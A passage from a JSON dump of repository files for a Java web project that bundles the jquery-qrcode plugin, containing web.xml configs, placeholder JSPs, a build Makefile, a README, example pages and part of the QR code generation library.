{\n\t\t\t\tif (infoflags == ALLBITS) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t}\n\t\t});\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/WEB-INF/web (2).xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n  <display-name>Archetype Created Web Application</display-name>\n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/index (2).jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/jquery-qrcode/Makefile",
    "content": "PROJECT_NAME=jquery-qrcode\n\nall:\n\nserver:\n\tpython -m SimpleHTTPServer\n\nbuild: minify\n\nminify:\n\techo \t \t\t\t > /tmp/jquery.qrcode.tmp.js\n\thead -2 src/jquery.qrcode.js\t>> /tmp/jquery.qrcode.tmp.js\n\tcat src/qrcode.js\t\t>> /tmp/jquery.qrcode.tmp.js\n\ttail -n +3 src/jquery.qrcode.js\t>> /tmp/jquery.qrcode.tmp.js\n\tcurl --data-urlencode \"js_code@/tmp/jquery.qrcode.tmp.js\" \t\\\n\t\t-d \"output_format=text&output_info=compiled_code&compilation_level=SIMPLE_OPTIMIZATIONS\" \\\n\t\thttp://closure-compiler.appspot.com/compile\t\t\\\n\t\t> jquery.qrcode.min.js\n\nhomepage_build:\n\tpandoc -A ~/.pandoc.header.html -s README.md -o index.html\n\tsed -i \"s/github.com\\/you/github.com\\/jeromeetienne\\/$(PROJECT_NAME)/g\" index.html\n\n#################################################################################\n#\t\tdeploy\t\t\t\t\t\t\t\t#\n#################################################################################\n\ndeploy: build\n\t# assume there is something to commit\n\t# use \"git diff --exit-code HEAD\" to know if there is something to commit\n\t# so two lines: one if no commit, one if something to commit \n\tgit commit -a -m \"New deploy\" && git push -f origin HEAD:gh-pages && git reset HEAD~"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/jquery-qrcode/README.md",
    "content": "# jquery.qrcode.js\n\n<a href='http://jeromeetienne.github.com/jquery-qrcode'>jquery.qrcode.js</a>\nis *jquery plugin for a pure browser qrcode generation*.\nIt allow you to easily add qrcode to your webpages.\nIt is standalone, less than 4k after minify+gzip, no image download.\nIt doesnt rely on external services which go on and off, or add latency while loading.\nIt is based on a <a href='http://www.d-project.com/qrcode/index.html'>library</a>\nwhich build qrcode in various language. <a href='http://jeromeetienne.github.com/jquery-qrcode'>jquery.qrcode.js</a> wraps\nit to make it easy to include in your own code.\n\nShow, dont tell, here is a <a href='https://github.com/jeromeetienne/jquery-qrcode/blob/master/examples/basic.html'>example</a>\n\n## How to Use It\n\nLet me walk you thru it. First include it in your webpage with the usual script tag\n    \n    <script type=\"text/javascript\" src=\"jquery.qrcode.min.js\"></script>\n\nThen create a DOM element which gonna contains the generated qrcode image. Lets say\na div\n\n    <div id=\"qrcode\"></div>\n\nThen you add the *qrcode* in this container by\n\n    jquery('#qrcode').qrcode(\"this plugin is great\");\n\nThis is it. see it <a href='examples/basic.html'>live</a>.\n\nYou can set the height and width of the generated qrcode:\n\n    jquery('#qrcode').qrcode({width: 64,height: 64,text: \"size doesn't matter\"});\n\n\n## Conclusion\n<a href='http://jeromeetienne.github.com/jquery-qrcode'>jquery.qrcode.js</a> is available on github\n<a href='https://github.com/jeromeetienne/jquery-qrcode'>here</a>\nunder <a href='https://github.com/jeromeetienne/jquery-qrcode/blob/master/MIT-LICENSE.txt'>MIT license</a>.\nIf you hit bugs, fill issues on github.\nFeel free to fork, modify and have fun with it :)\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/jquery-qrcode/examples/basic.html",
    "content": "<html>\n<head>\n<title>basic example</title>\n</head>\n<body>\n<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"></script>\n\n<!--<script type=\"text/javascript\" src=\"../jquery.qrcode.min.js\"></script>\n--><script type=\"text/javascript\" src=\"../src/jquery.qrcode.js\"></script>\n<script type=\"text/javascript\" src=\"../src/qrcode.js\"></script>\n\n<p>Render in table</p>\n<div id=\"qrcodeTable\"></div>\n<p>Render in canvas</p>\n<div id=\"qrcodeCanvas\"></div>\n<script>\n\t//jQuery('#qrcode').qrcode(\"this plugin is great\");\n\tjQuery('#qrcodeTable').qrcode({\n\t\trender\t: \"table\",\n\t\ttext\t: \"http://jetienne.com\"\n\t});\t\n\tjQuery('#qrcodeCanvas').qrcode({\n\t\ttext\t: \"http://jetienne.com\"\n\t});\t\n</script>\n\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/jquery-qrcode/examples/demo.html",
    "content": "<html>\n<head>\n<title>Demo page</title>\n\n</head>\n<body>\n<p>\n\tTODO make a nice looking pure client qrcode generator\n\teven allow download of the image\n</p>\n\n<div id=\"output\"></div>\n\n<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"></script>\n<script type=\"text/javascript\" src=\"../jquery.qrcode.min.js\"></script>\n<script>\njQuery(function(){\n\tjQuery('#output').qrcode(\"http://jetienne.com\");\n})\n</script>\n\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/jquery-qrcode/index.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n  <title></title>\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n  <meta name=\"generator\" content=\"pandoc\" />\n  <meta name=\"date\" content=\"\" />\n</head>\n<body>\n<div id=\"jquery.qrcode.js\"\n><h1\n  >jquery.qrcode.js</h1\n  ><p\n  ><a href='http://jeromeetienne.github.com/jquery-qrcode'>jquery.qrcode.js</a> is <em\n    >jquery plugin for a pure browser qrcode generation</em\n    >. It allow you to easily add qrcode to your webpages. It is standalone, less than 4k after minify+gzip, no image download. It doesnt rely on external services which go on and off, or add latency while loading. It is based on a <a href='http://www.d-project.com/qrcode/index.html'>library</a> which build qrcode in various language. <a href='http://jeromeetienne.github.com/jquery-qrcode'>jquery.qrcode.js</a> wraps it to make it easy to include in your own code.</p\n  ><p\n  >Show, dont tell, here is a <a href='examples/basic.html'>example</a></p\n  ><div id=\"how-to-use-it\"\n  ><h2\n    >How to Use It</h2\n    ><p\n    >Let me walk you thru it. First include it in your webpage with the usual script tag</p\n    ><pre\n    ><code\n      >&lt;script type=&quot;text/javascript&quot; src=&quot;jquery.qrcode.min.js&quot;&gt;&lt;/script&gt;\n</code\n      ></pre\n    ><p\n    >Then create a DOM element which gonna contains the generated qrcode image. Lets say a div</p\n    ><pre\n    ><code\n      >&lt;div id=&quot;qrcode&quot;&gt;&lt;/div&gt;\n</code\n      ></pre\n    ><p\n    >Then you add the <em\n      >qrcode</em\n      > in this container by</p\n    ><pre\n    ><code\n      >jquery('#qrcode').qrcode(&quot;this plugin is great&quot;);\n</code\n      ></pre\n    ><p\n    >This is it. see it <a href='examples/basic.html'>live</a>.</p\n    ></div\n  ><div id=\"conclusion\"\n  ><h2\n    >Conclusion</h2\n    ><p\n    ><a href='http://jeromeetienne.github.com/jquery-qrcode'>jquery.qrcode.js</a> is available on github <a href='https://github.com/jeromeetienne/jquery-qrcode'>here</a> under <a href='https://github.com/jeromeetienne/jquery-qrcode/blob/master/MIT-LICENSE.txt'>MIT license</a>. If you hit bugs, fill issues on github. Feel free to fork, modify and have fun with it :)</p\n    ></div\n  ></div\n>\n<style>\nbody {\n    margin: auto;\n    padding-right: 1em;\n    padding-left: 1em;\n    max-width: 44em; \n    border-left: 1px solid #eee;\n    border-right: 1px solid #eee;\n    font-family\t\t: Verdana, sans-serif;\n    font-size\t\t: 100%;\n    line-height\t\t: 140%;\n    color\t\t: #eee; \n    background-color\t: #22252a;\n}\npre {\n    border\t\t: 1px dotted gray;\n    background-color\t: #444a50;\n    color\t\t: #1111111;\n    padding\t\t: 0.5em;\n}\ncode {\n\tfont-family\t: monospace;\n}\na { \n\ttext-decoration\t: none;\n\tcolor\t\t: lightSteelBlue; \n}\na:hover {\n\ttext-decoration\t: underline;\n}\nh1, h2, h3, h4, h5 { font-family: verdana;\n                     font-weight: bold;\n                     border-bottom: 1px dotted #eee;\n                     color: lightSteelBlue; }\nh1 {\n\tcolor\t\t: #cd5;\n        font-size\t: 130%;\n}\nh1:nth-child(1) {\n\tfont-size\t: 300%;\n\ttext-align\t: center;\n\theight\t\t: 1em;\n}\nh2 {\n        font-size\t: 110%;\n}\n\nh3 {\n        font-size\t: 95%;\n}\n\nh4 {\n        font-size\t: 90%;\n        font-style\t: italic;\n}\n\nh5 {\n        font-size\t: 90%;\n        font-style\t: italic;\n}\n\nh1.title {\n        font-size\t: 200%;\n        font-weight\t: bold;\n        padding-top\t: 0.2em;\n        padding-bottom\t: 0.2em;\n        text-align\t: left;\n        border\t\t: none;\n}\n\ndt code {\n        font-weight\t: bold;\n}\ndd p {\n        margin-top\t: 0;\n}\nimg {\n/*\tborder-color\t: white;\n\tborder-style\t: solid;\n*/}\n\n#footer {\n        padding-top\t: 1em;\n        font-size\t: 70%;\n        color\t\t: gray;\n        text-align\t: center;\n}\n\n</style>\n<!-- follow me on twitter -->\n<a href=\"http://www.twitter.com/jerome_etienne\">\n\t<img style=\"position: absolute; bottom: 10px; right: 10px; border: 0;\" src=\"http://twitter-badges.s3.amazonaws.com/follow_me-c.png\" alt=\"Follow jerome_etienne on Twitter\"/>\n</a>\n<!-- github ribbon -->\n<a href=\"https://github.com/jeromeetienne/jquery-qrcode\"><img style=\"position: absolute; top: 0; left: 0; border: 0;\" src=\"https://assets0.github.com/img/ce742187c818c67d98af16f96ed21c00160c234a?repo=&url=http%3A%2F%2Fs3.amazonaws.com%2Fgithub%2Fribbons%2Fforkme_left_gray_6d6d6d.png&path=\" alt=\"Fork me on GitHub\"></a>\n<!-- twitter share + facebook like -->\n<div style=\"position: absolute; top: 10px; right: 10px; border: 0;\">\n\t\n\t<a href=\"http://twitter.com/share\" class=\"twitter-share-button\" data-count=\"none\" data-via=\"jerome_etienne\">Tweet</a><script type=\"text/javascript\" src=\"http://platform.twitter.com/widgets.js\"></script>\n</div>\n</body>\n</html>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/jquery-qrcode/src/jquery.qrcode.js",
    "content": "(function( $ ){\n\t$.fn.qrcode = function(options) {\n\t\t// if options is string, \n\t\tif( typeof options === 'string' ){\n\t\t\toptions\t= { text: options };\n\t\t}\n\n\t\t// set default values\n\t\t// typeNumber < 1 for automatic calculation\n\t\toptions\t= $.extend( {}, {\n\t\t\trender\t\t: \"canvas\",\n\t\t\twidth\t\t: 256,\n\t\t\theight\t\t: 256,\n\t\t\ttypeNumber\t: -1,\n\t\t\tcorrectLevel\t: QRErrorCorrectLevel.H,\n                        background      : \"#ffffff\",\n                        foreground      : \"#000000\"\n\t\t}, options);\n\n\t\tvar createCanvas\t= function(){\n\t\t\t// create the qrcode itself\n\t\t\tvar qrcode\t= new QRCode(options.typeNumber, options.correctLevel);\n\t\t\tqrcode.addData(options.text);\n\t\t\tqrcode.make();\n\n\t\t\t// create canvas element\n\t\t\tvar canvas\t= document.createElement('canvas');\n\t\t\tcanvas.width\t= options.width;\n\t\t\tcanvas.height\t= options.height;\n\t\t\tvar ctx\t\t= canvas.getContext('2d');\n\n\t\t\t// compute tileW/tileH based on options.width/options.height\n\t\t\tvar tileW\t= options.width  / qrcode.getModuleCount();\n\t\t\tvar tileH\t= options.height / qrcode.getModuleCount();\n\n\t\t\t// draw in the canvas\n\t\t\tfor( var row = 0; row < qrcode.getModuleCount(); row++ ){\n\t\t\t\tfor( var col = 0; col < qrcode.getModuleCount(); col++ ){\n\t\t\t\t\tctx.fillStyle = qrcode.isDark(row, col) ? options.foreground : options.background;\n\t\t\t\t\tvar w = (Math.ceil((col+1)*tileW) - Math.floor(col*tileW));\n\t\t\t\t\tvar h = (Math.ceil((row+1)*tileW) - Math.floor(row*tileW));\n\t\t\t\t\tctx.fillRect(Math.round(col*tileW),Math.round(row*tileH), w, h);  \n\t\t\t\t}\t\n\t\t\t}\n\t\t\t// return just built canvas\n\t\t\treturn canvas;\n\t\t}\n\n\t\t// from Jon-Carlos Rivera (https://github.com/imbcmdth)\n\t\tvar createTable\t= function(){\n\t\t\t// create the qrcode itself\n\t\t\tvar qrcode\t= new QRCode(options.typeNumber, options.correctLevel);\n\t\t\tqrcode.addData(options.text);\n\t\t\tqrcode.make();\n\t\t\t\n\t\t\t// create table element\n\t\t\tvar $table\t= $('<table></table>')\n\t\t\t\t.css(\"width\", options.width+\"px\")\n\t\t\t\t.css(\"height\", options.height+\"px\")\n\t\t\t\t.css(\"border\", \"0px\")\n\t\t\t\t.css(\"border-collapse\", \"collapse\")\n\t\t\t\t.css('background-color', options.background);\n\t\t  \n\t\t\t// compute tileS percentage\n\t\t\tvar tileW\t= options.width / qrcode.getModuleCount();\n\t\t\tvar tileH\t= options.height / qrcode.getModuleCount();\n\n\t\t\t// draw in the table\n\t\t\tfor(var row = 0; row < qrcode.getModuleCount(); row++ ){\n\t\t\t\tvar $row = $('<tr></tr>').css('height', tileH+\"px\").appendTo($table);\n\t\t\t\t\n\t\t\t\tfor(var col = 0; col < qrcode.getModuleCount(); col++ ){\n\t\t\t\t\t$('<td></td>')\n\t\t\t\t\t\t.css('width', tileW+\"px\")\n\t\t\t\t\t\t.css('background-color', qrcode.isDark(row, col) ? options.foreground : options.background)\n\t\t\t\t\t\t.appendTo($row);\n\t\t\t\t}\t\n\t\t\t}\n\t\t\t// return just built canvas\n\t\t\treturn $table;\n\t\t}\n\t\t//true if support\n\t\tfunction canvasSupport() {\n\t\t\treturn !!document.createElement('canvas').getContext;\n\t\t}\n\t\treturn this.each(function(){\n\t\t\t//if the browser not support canvas,then table.\n\t\t\tif(!canvasSupport()){\n\t\t\t\toptions.render = \"table\";\n\t\t\t}\n\t\t\tvar element\t= options.render == \"canvas\" ? createCanvas() : createTable();\n\t\t\t$(element).appendTo(this);\n\t\t});\n\t};\n})( jQuery );\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/webapp/jquery-qrcode/src/qrcode.js",
    "content": "//---------------------------------------------------------------------\n// QRCode for JavaScript\n//\n// Copyright (c) 2009 Kazuhiko Arase\n//\n// URL: http://www.d-project.com/\n//\n// Licensed under the MIT license:\n//   http://www.opensource.org/licenses/mit-license.php\n//\n// The word \"QR Code\" is registered trademark of \n// DENSO WAVE INCORPORATED\n//   http://www.denso-wave.com/qrcode/faqpatent-e.html\n//\n//---------------------------------------------------------------------\n\n//---------------------------------------------------------------------\n// QR8bitByte\n//---------------------------------------------------------------------\n\nfunction QR8bitByte(data) {\n\tthis.mode = QRMode.MODE_8BIT_BYTE;\n\tthis.data = data;\n}\n\nQR8bitByte.prototype = {\n\n\tgetLength : function(buffer) {\n\t\treturn this.data.length;\n\t},\n\t\n\twrite : function(buffer) {\n\t\tfor (var i = 0; i < this.data.length; i++) {\n\t\t\t// not JIS ...\n\t\t\tbuffer.put(this.data.charCodeAt(i), 8);\n\t\t}\n\t}\n};\n\n//---------------------------------------------------------------------\n// QRCode\n//---------------------------------------------------------------------\n\nfunction QRCode(typeNumber, errorCorrectLevel) {\n\tthis.typeNumber = typeNumber;\n\tthis.errorCorrectLevel = errorCorrectLevel;\n\tthis.modules = null;\n\tthis.moduleCount = 0;\n\tthis.dataCache = null;\n\tthis.dataList = new Array();\n}\n\nQRCode.prototype = {\n\t\n\taddData : function(data) {\n\t\tvar newData = new QR8bitByte(data);\n\t\tthis.dataList.push(newData);\n\t\tthis.dataCache = null;\n\t},\n\t\n\tisDark : function(row, col) {\n\t\tif (row < 0 || this.moduleCount <= row || col < 0 || this.moduleCount <= col) {\n\t\t\tthrow new Error(row + \",\" + col);\n\t\t}\n\t\treturn this.modules[row][col];\n\t},\n\n\tgetModuleCount : function() {\n\t\treturn this.moduleCount;\n\t},\n\t\n\tmake : function() {\n\t\t// Calculate automatically typeNumber if provided is < 1\n\t\tif (this.typeNumber < 1 ){\n\t\t\tvar typeNumber = 1;\n\t\t\tfor (typeNumber = 1; typeNumber < 40; typeNumber++) {\n\t\t\t\tvar rsBlocks = QRRSBlock.getRSBlocks(typeNumber, this.errorCorrectLevel);\n\n\t\t\t\tvar buffer = new QRBitBuffer();\n\t\t\t\tvar totalDataCount = 0;\n\t\t\t\tfor (var i = 0; i < rsBlocks.length; i++) {\n\t\t\t\t\ttotalDataCount += rsBlocks[i].dataCount;\n\t\t\t\t}\n\n\t\t\t\tfor (var i = 0; i < this.dataList.length; i++) {\n\t\t\t\t\tvar data = this.dataList[i];\n\t\t\t\t\tbuffer.put(data.mode, 4);\n\t\t\t\t\tbuffer.put(data.getLength(), QRUtil.getLengthInBits(data.mode, typeNumber) );\n\t\t\t\t\tdata.write(buffer);\n\t\t\t\t}\n\t\t\t\tif (buffer.getLengthInBits() <= totalDataCount * 8)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tthis.typeNumber = typeNumber;\n\t\t}\n\t\tthis.makeImpl(false, this.getBestMaskPattern() );\n\t},\n\t\n\tmakeImpl : function(test, maskPattern) {\n\t\t\n\t\tthis.moduleCount = this.typeNumber * 4 + 17;\n\t\tthis.modules = new Array(this.moduleCount);\n\t\t\n\t\tfor (var row = 0; row < this.moduleCount; row++) {\n\t\t\t\n\t\t\tthis.modules[row] = new Array(this.moduleCount);\n\t\t\t\n\t\t\tfor (var col = 0; col < this.moduleCount; col++) {\n\t\t\t\tthis.modules[row][col] = null;//(col + row) % 3;\n\t\t\t}\n\t\t}\n\t\n\t\tthis.setupPositionProbePattern(0, 0);\n\t\tthis.setupPositionProbePattern(this.moduleCount - 7, 0);\n\t\tthis.setupPositionProbePattern(0, this.moduleCount - 7);\n\t\tthis.setupPositionAdjustPattern();\n\t\tthis.setupTimingPattern();\n\t\tthis.setupTypeInfo(test, maskPattern);\n\t\t\n\t\tif (this.typeNumber >= 7) {\n\t\t\tthis.setupTypeNumber(test);\n\t\t}\n\t\n\t\tif (this.dataCache == null) {\n\t\t\tthis.dataCache = QRCode.createData(this.typeNumber, this.errorCorrectLevel, this.dataList);\n\t\t}\n\t\n\t\tthis.mapData(this.dataCache, maskPattern);\n\t},\n\n\tsetupPositionProbePattern : function(row, col)  {\n\t\t\n\t\tfor (var r = -1; r <= 7; r++) {\n\t\t\t\n\t\t\tif (row + r <= -1 || this.moduleCount <= row + r) continue;\n\t\t\t\n\t\t\tfor (var c = -1; c <= 7; c++) {\n\t\t\t\t\n\t\t\t\tif (col + c <= -1 || this.moduleCount <= col + c) continue;\n\t\t\t\t\n\t\t\t\tif ( (0 <= r && r <= 6 && (c == 0 || c == 6) )\n\t\t\t\t\t\t|| (0 <= c && c <= 6 && (r == 0 || r == 6) )\n\t\t\t\t\t\t|| (2 <= r && r <= 4 && 2 <= c && c <= 4) ) {\n\t\t\t\t\tthis.modules[row + r][col + c] = true;\n\t\t\t\t} else {\n\t\t\t\t\tthis.modules[row + r][col + c] = false;\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t}\t\t\n\t},\n\t\n\tgetBestMaskPattern : function() {\n\t\n\t\tvar minLostPoint = 0;\n\t\tvar pattern = 0;\n\t\n\t\tfor (var i = 0; i < 8; i++) {\n\t\t\t\n\t\t\tthis.makeImpl(true, i);\n\t\n\t\t\tvar lostPoint = QRUtil.getLostPoint(this);\n\t\n\t\t\tif (i == 0 || minLostPoint >  lostPoint) {\n\t\t\t\tminLostPoint = lostPoint;\n\t\t\t\tpattern = i;\n\t\t\t}\n\t\t}\n\t\n\t\treturn pattern;\n\t},\n\t\n\tcreateMovieClip : function(target_mc, instance_name, depth) {\n\t\n\t\tvar qr_mc = target_mc.createEmptyMovieClip(instance_name, depth);\n\t\tvar cs = 1;\n\t\n\t\tthis.make();\n\n\t\tfor (var row = 0; row < this.modules.length; row++) {\n\t\t\t\n\t\t\tvar y = row * cs;\n\t\t\t\n\t\t\tfor (var col = 0; col < this.modules[row].length; col++) {\n\t\n\t\t\t\tvar x = col * cs;\n\t\t\t\tvar dark = this.modules[row][col];\n\t\t\t\n\t\t\t\tif (dark) {\n\t\t\t\t\tqr_mc.beginFill(0, 100);\n\t\t\t\t\tqr_mc.moveTo(x, y);\n\t\t\t\t\tqr_mc.lineTo(x + cs, y);\n\t\t\t\t\tqr_mc.lineTo(x + cs, y + cs);\n\t\t\t\t\tqr_mc.lineTo(x, y + cs);\n\t\t\t\t\tqr_mc.endFill();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn qr_mc;\n\t},\n\n\tsetupTimingPattern : function() {\n\t\t\n\t\tfor (var r = 8; r < this.moduleCount - 8; r++) {\n\t\t\tif (this.modules[r][6] != null) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tthis.modules[r][6] = (r % 2 == 0);\n\t\t}\n\t\n\t\tfor (var c = 8; c < this.moduleCount - 8; c++) {\n\t\t\tif (this.modules[6][c] != null) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tthis.modules[6][c] = (c % 2 == 0);\n\t\t}\n\t},\n\t\n\tsetupPositionAdjustPattern : function() {\n\t\n\t\tvar pos = QRUtil.getPatternPosition(this.typeNumber);\n\t\t\n\t\tfor (var i = 0; i < pos.length; i++) {\n\t\t\n\t\t\tfor (var j = 0; j < pos.length; j++) {\n\t\t\t\n\t\t\t\tvar row = pos[i];\n\t\t\t\tvar col = pos[j];\n\t\t\t\t\n\t\t\t\tif (this.modules[row][col] != null) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tfor (var r = -2; r <= 2; r++) {\n\t\t\t\t\n\t\t\t\t\tfor (var c = -2; c <= 2; c++) {\n\t\t\t\t\t\n\t\t\t\t\t\tif (r == -2 || r == 2 || c == -2 || c == 2 \n\t\t\t\t\t\t\t\t|| (r == 0 && c == 0) ) {\n\t\t\t\t\t\t\tthis.modules[row + r][col + c] = true;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tthis.modules[row + r][col + c] = false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\t\n\tsetupTypeNumber : function(test) {\n\t\n\t\tvar bits = QRUtil.getBCHTypeNumber(this.typeNumber);\n\t\n\t\tfor (var i = 0; i < 18; i++) {\n\t\t\tvar mod = (!test && ( (bits >> i) & 1) == 1);\n\t\t\tthis.modules[Math.floor(i / 3)][i % 3 + this.moduleCount - 8 - 3] = mod;\n\t\t}\n\t\n\t\tfor (var i = 0; i < 18; i++) {\n\t\t\tvar mod = (!test && ( (bits >> i) & 1) == 1);\n\t\t\tthis.modules[i % 3 + this.moduleCount - 8 - 3][Math.floor(i / 3)] = mod;\n\t\t}\n\t},\n\t\n\tsetupTypeInfo : function(test, maskPattern) {\n\t\n\t\tvar data = (this.errorCorrectLevel << 3) | maskPattern;\n\t\tvar bits = QRUtil.getBCHTypeInfo(data);\n\t\n\t\t// vertical\t\t\n\t\tfor (var i = 0; i < 15; i++) {\n\t\n\t\t\tvar mod = (!test && ( (bits >> i) & 1) == 1);\n\t\n\t\t\tif (i < 6) {\n\t\t\t\tthis.modules[i][8] = mod;\n\t\t\t} else if (i < 8) {\n\t\t\t\tthis.modules[i + 1][8] = mod;\n\t\t\t} else {\n\t\t\t\tthis.modules[this.moduleCount - 15 + i][8] = mod;\n\t\t\t}\n\t\t}\n\t\n\t\t// horizontal\n\t\tfor (var i = 0; i < 15; i++) {\n\t\n\t\t\tvar mod = (!test && ( (bits >> i) & 1) == 1);\n\t\t\t\n\t\t\tif (i < 8) {\n\t\t\t\tthis.modules[8][this.moduleCount - i - 1] = mod;\n\t\t\t} else if (i < 9) {\n\t\t\t\tthis.modules[8][15 - i - 1 + 1] = mod;\n\t\t\t} else {\n\t\t\t\tthis.modules[8][15 - i - 1] = mod;\n\t\t\t}\n\t\t}\n\t\n\t\t// fixed module\n\t\tthis.modules[this.moduleCount - 8][8] = (!test);\n\t\n\t},\n\t\n\tmapData : function(data, maskPattern) {\n\t\t\n\t\tvar inc = -1;\n\t\tvar row = this.moduleCount - 1;\n\t\tvar bitIndex = 7;\n\t\tvar byteIndex = 0;\n\t\t\n\t\tfor (var col = this.moduleCount - 1; col > 0; col -= 2) {\n\t\n\t\t\tif (col == 6) col--;\n\t\n\t\t\twhile (true) {\n\t\n\t\t\t\tfor (var c = 0; c < 2; c++) {\n\t\t\t\t\t\n\t\t\t\t\tif (this.modules[row][col - c] == null) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tvar dark = false;\n\t\n\t\t\t\t\t\tif (byteIndex < data.length) {\n\t\t\t\t\t\t\tdark = ( ( (data[byteIndex] >>> bitIndex) & 1) == 1);\n\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\tvar mask = QRUtil.getMask(maskPattern, row, col - c);\n\t\n\t\t\t\t\t\tif (mask) {\n\t\t\t\t\t\t\tdark = !dark;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tthis.modules[row][col - c] = dark;\n\t\t\t\t\t\tbitIndex--;\n\t\n\t\t\t\t\t\tif (bitIndex == -1) {\n\t\t\t\t\t\t\tbyteIndex++;\n\t\t\t\t\t\t\tbitIndex = 7;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\trow += inc;\n\t\n\t\t\t\tif (row < 0 || this.moduleCount <= row) {\n\t\t\t\t\trow -= inc;\n\t\t\t\t\tinc = -inc;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t}\n\n};\n\nQRCode.PAD0 = 0xEC;\nQRCode.PAD1 = 0x11;\n\nQRCode.createData = function(typeNumber, errorCorrectLevel, dataList) {\n\t\n\tvar rsBlocks = QRRSBlock.getRSBlocks(typeNumber, errorCorrectLevel);\n\t\n\tvar buffer = new QRBitBuffer();\n\t\n\tfor (var i = 0; i < dataList.length; i++) {\n\t\tvar data = dataList[i];\n\t\tbuffer.put(data.mode, 4);\n\t\tbuffer.put(data.getLength(), QRUtil.getLengthInBits(data.mode, typeNumber) );\n\t\tdata.write(buffer);\n\t}\n\n\t// calc num max data.\n\tvar totalDataCount = 0;\n\tfor (var i = 0; i < rsBlocks.length; i++) {\n\t\ttotalDataCount += rsBlocks[i].dataCount;\n\t}\n\n\tif (buffer.getLengthInBits() > totalDataCount * 8) {\n\t\tthrow new Error(\"code length overflow. (\"\n\t\t\t+ buffer.getLengthInBits()\n\t\t\t+ \">\"\n\t\t\t+  totalDataCount * 8\n\t\t\t+ \")\");\n\t}\n\n\t// end code\n\tif (buffer.getLengthInBits() + 4 <= totalDataCount * 8) {\n\t\tbuffer.put(0, 4);\n\t}\n\n\t// padding\n\twhile (buffer.getLengthInBits() % 8 != 0) {\n\t\tbuffer.putBit(false);\n\t}\n\n\t// padding\n\twhile (true) {\n\t\t\n\t\tif (buffer.getLengthInBits() >= totalDataCount * 8) {\n\t\t\tbreak;\n\t\t}\n\t\tbuffer.put(QRCode.PAD0, 8);\n\t\t\n\t\tif (buffer.getLengthInBits() >= totalDataCount * 8) {\n\t\t\tbreak;\n\t\t}\n\t\tbuffer.put(QRCode.PAD1, 8);\n\t}\n\n\treturn QRCode.createBytes(buffer, rsBlocks);\n}\n\nQRCode.createBytes = function(buffer, rsBlocks) {\n\n\tvar offset = 0;\n\t\n\tvar maxDcCount = 0;\n\tvar maxEcCount = 0;\n\t\n\tvar dcdata = new Array(rsBlocks.length);\n\tvar ecdata = new Array(rsBlocks.length);\n\t\n\tfor (var r = 0; r < rsBlocks.length; r++) {\n\n\t\tvar dcCount = rsBlocks[r].dataCount;\n\t\tvar ecCount = rsBlocks[r].totalCount - dcCount;\n\n\t\tmaxDcCount = Math.max(maxDcCount, dcCount);\n\t\tmaxEcCount = Math.max(maxEcCount, ecCount);\n\t\t\n\t\tdcdata[r] = new Array(dcCount);\n\t\t\n\t\tfor (var i = 0; i < dcdata[r].length; i++) {\n\t\t\tdcdata[r][i] = 0xff & buffer.buffer[i + offset];\n\t\t}\n\t\toffset += dcCount;\n\t\t\n\t\tvar rsPoly = QRUtil.getErrorCorrectPolynomial(ecCount);\n\t\tvar rawPoly = new 